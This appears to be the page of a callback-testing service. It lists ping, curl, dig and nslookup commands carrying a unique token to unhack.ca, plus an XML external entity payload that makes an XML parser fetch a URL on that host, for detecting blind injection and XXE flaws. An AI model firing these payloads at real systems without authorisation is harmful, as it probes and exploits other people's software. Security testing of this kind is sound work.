$ ping -c1 -p 001762e9351c2a849fe1ab073d299300 unhack.ca
 
$ curl http://unhack.ca/p/1762e9351c2a849fe1ab073d2993
 
$ dig 1762e9351c2a849fe1ab073d2993 @unhack.ca
 
$ dig 1762e9351c2a849fe1ab073d2993.ns.unhack.ca
 
C:\> nslookup 1762e9351c2a849fe1ab073d2993 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1762e9351c2a849fe1ab073d2993">]>
    <foo>&xxe;</foo>
Waiting for ping...